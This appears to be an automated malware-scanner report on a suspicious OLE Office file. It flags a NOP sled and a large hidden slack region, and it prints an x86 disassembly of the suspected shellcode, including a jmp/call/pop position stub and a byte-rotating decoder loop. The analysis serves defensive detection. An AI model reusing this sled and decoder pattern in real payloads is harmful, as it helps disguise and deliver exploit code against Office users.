MALICIOUS
80
Risk Score
Malware Insights
The presence of a NOP sled and significant slack space within the OLE document suggests the file likely contains obfuscated or packed malicious code, possibly shellcode. While no specific document body content or scripts were clearly extracted, these structural anomalies are strong indicators of malicious intent, potentially for exploitation or payload delivery. The SHA256 hash is included as a primary IOC.
Heuristics 2
-
NOP sled detected high SC_NOP_SLEDFound 20+ consecutive 0x90 bytes
Disassembly
Attempted x86 opcode disassembly00000C30 90 nop 00000C31 90 nop 00000C32 90 nop 00000C33 90 nop 00000C34 90 nop 00000C35 90 nop 00000C36 90 nop 00000C37 90 nop 00000C38 90 nop 00000C39 90 nop 00000C3A 90 nop 00000C3B 90 nop 00000C3C 90 nop 00000C3D 90 nop 00000C3E 90 nop 00000C3F 90 nop 00000C40 90 nop 00000C41 90 nop 00000C42 90 nop 00000C43 90 nop 00000C44 90 nop 00000C45 90 nop 00000C46 eb03 jmp 0xc4b 00000C48 5e pop esi 00000C49 ffe6 jmp esi 00000C4B e8f8ffffff call 0xc48 00000C50 40 inc eax 00000C51 48 dec eax 00000C52 90 nop 00000C53 33c9 xor ecx, ecx 00000C55 66b90a01 mov cx, 0x10a 00000C59 90 nop 00000C5A 83c619 add esi, 0x19 00000C5D 56 push esi 00000C5E 8bfe mov edi, esi 00000C60 ac lodsb al, byte ptr [esi] 00000C61 90 nop 00000C62 c0c004 rol al, 4 00000C65 aa stosb byte ptr es:[edi], al 00000C66 49 dec ecx 00000C67 75f7 jne 0xc60 00000C69 c3 ret 00000C6A 55 push ebp 00000C6B b8ce38cec5 mov eax, 0xc5ce38ce 00000C70 3565757c54 xor eax, 0x547c7565 00000C75 0f4000 cmovo eax, dword ptr [eax] 00000C78 0000 add byte ptr [eax], al 00000C7A 099e7d000000 or dword ptr [esi + 0x7d], ebx 00000C80 f8 clc 00000C81 54 push esp 00000C82 cf iretd 00000C83 46 inc esi 00000C84 1a03 sbb al, byte ptr [ebx] 00000C86 0000 add byte ptr [eax], al 00000C88 00b804c0b807 add byte ptr [eax + 0x7b8c004], bh 00000C8E c1 .byte 0xc1 00000C8F da .byte 0xda
-
OLE document has large unaccounted-for region high OLE_SLACK_ANOMALYOLE file is 119,152 bytes but its declared streams total only 16,486 bytes — 102,666 bytes (86%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
Open this report in the interactive analyzer, or submit your own file for analysis.